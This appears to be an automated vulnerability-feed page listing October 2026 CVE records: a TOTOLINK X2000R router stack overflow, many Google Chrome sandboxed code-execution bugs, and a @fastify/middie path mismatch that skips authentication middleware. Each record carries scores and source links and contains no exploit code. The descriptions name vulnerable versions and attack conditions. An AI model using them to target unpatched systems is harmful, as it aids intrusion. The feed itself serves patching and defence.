Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnUser parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9659).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9659&date=2026-10-25).
Sources:
NVD CVE-2026-9659: https://nvd.nist.gov/vuln/detail/CVE-2026-9659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9659&date=2026-10-25
Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability deals with the vpnUser parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113177
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113177).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113177&date=2026-10-25).
Sources:
NVD CVE-2026-113177: https://nvd.nist.gov/vuln/detail/CVE-2026-113177
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113177&date=2026-10-25
Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113176
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113176).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113176&date=2026-10-25).
Sources:
NVD CVE-2026-113176: https://nvd.nist.gov/vuln/detail/CVE-2026-113176
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113176&date=2026-10-25
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113175
Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113175).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113175&date=2026-10-25).
Sources:
NVD CVE-2026-113175: https://nvd.nist.gov/vuln/detail/CVE-2026-113175
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113175&date=2026-10-25
Improper input validation in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113174
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113174).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113174&date=2026-10-25).
Sources:
NVD CVE-2026-113174: https://nvd.nist.gov/vuln/detail/CVE-2026-113174
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113174&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113173
Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113173).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113173&date=2026-10-25).
Sources:
NVD CVE-2026-113173: https://nvd.nist.gov/vuln/detail/CVE-2026-113173
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113173&date=2026-10-25
Improper input validation in UI in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113172
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113172).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113172&date=2026-10-25).
Sources:
NVD CVE-2026-113172: https://nvd.nist.gov/vuln/detail/CVE-2026-113172
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113172&date=2026-10-25
Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113158
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113158).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113158&date=2026-10-25).
Sources:
NVD CVE-2026-113158: https://nvd.nist.gov/vuln/detail/CVE-2026-113158
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113158&date=2026-10-25
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113155
Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113155).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113155&date=2026-10-25).
Sources:
NVD CVE-2026-113155: https://nvd.nist.gov/vuln/detail/CVE-2026-113155
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113155&date=2026-10-25
Use after free in Glic in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113154
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113154).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113154&date=2026-10-25).
Sources:
NVD CVE-2026-113154: https://nvd.nist.gov/vuln/detail/CVE-2026-113154
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113154&date=2026-10-25
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113153
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113153).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113153&date=2026-10-25).
Sources:
NVD CVE-2026-113153: https://nvd.nist.gov/vuln/detail/CVE-2026-113153
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113153&date=2026-10-25
Memory corruption in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113152
Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113152).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113152&date=2026-10-25).
Sources:
NVD CVE-2026-113152: https://nvd.nist.gov/vuln/detail/CVE-2026-113152
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113152&date=2026-10-25
Memory corruption in SignIn in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113168
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113168).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113168&date=2026-10-25).
Sources:
NVD CVE-2026-113168: https://nvd.nist.gov/vuln/detail/CVE-2026-113168
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113168&date=2026-10-25
Use after free in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113167
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113167).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113167&date=2026-10-25).
Sources:
NVD CVE-2026-113167: https://nvd.nist.gov/vuln/detail/CVE-2026-113167
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113167&date=2026-10-25
Memory corruption in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113166
Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113166).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113166&date=2026-10-25).
Sources:
NVD CVE-2026-113166: https://nvd.nist.gov/vuln/detail/CVE-2026-113166
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113166&date=2026-10-25
Memory corruption in History in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113165
Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113165).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113165&date=2026-10-25).
Sources:
NVD CVE-2026-113165: https://nvd.nist.gov/vuln/detail/CVE-2026-113165
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113165&date=2026-10-25
Use after free in Core in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113162
Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113162).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113162&date=2026-10-25).
Sources:
NVD CVE-2026-113162: https://nvd.nist.gov/vuln/detail/CVE-2026-113162
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113162&date=2026-10-25
Improper input validation in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @fastify/middie is the Express-style middleware engine for Fastify.
https://kevwire.com/record/CVE-2026-112712
@fastify/middie is the Express-style middleware engine for Fastify. (Oct 20, 2026).
@fastify/middie is the Express-style middleware engine for Fastify. In versions from 9.0.0 through 9.3.5, the use() function joined a path-scoped middleware's mount path to the plugin scope prefix in a way that could diverge from the path Fastify's router serves, most often when the scope prefix ended in a slash, and also for array mount paths and for mount paths written without a leading slash. When the two paths disagreed, the middleware was silently skipped while the route handler still ran, so path-scoped middleware such as authentication, authorization, or rate limiting could be bypassed by a single unauthenticated request. The issue is fixed in @fastify/middie 9.3.6, and users should upgrade to 9.3.6 or later. As a workaround, enforce authorization in a Fastify hook such as preHandler that runs after the router has resolved the request.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112712).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112712&date=2026-10-25).
Sources:
NVD CVE-2026-112712: https://nvd.nist.gov/vuln/detail/CVE-2026-112712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112712&date=2026-10-25
@fastify/middie is the Express-style middleware engine for Fastify. In versions from 9.0.0 through 9.3.5, the use() function joined a path-scoped middleware's mount path to the plugin scope prefix in a way that could diverge from the path Fastify's router serves, most often when the scope prefix ended in a slash, and also for array mount paths and for mount paths written without a leading slash. When the two paths disagreed, the middleware was silently skipped while the route handler still ran, so path-scoped middleware such as authentication, authorization, or rate limiting could be bypassed by a single unauthenticated request. The issue is fixed in @fastify/middie 9.3.6, and users should upgrade to 9.3.6 or later. As a workaround, enforce authorization in a Fastify hook such as preHandler that runs after the router has resolved the request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113161
Use after free in WebRTC in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
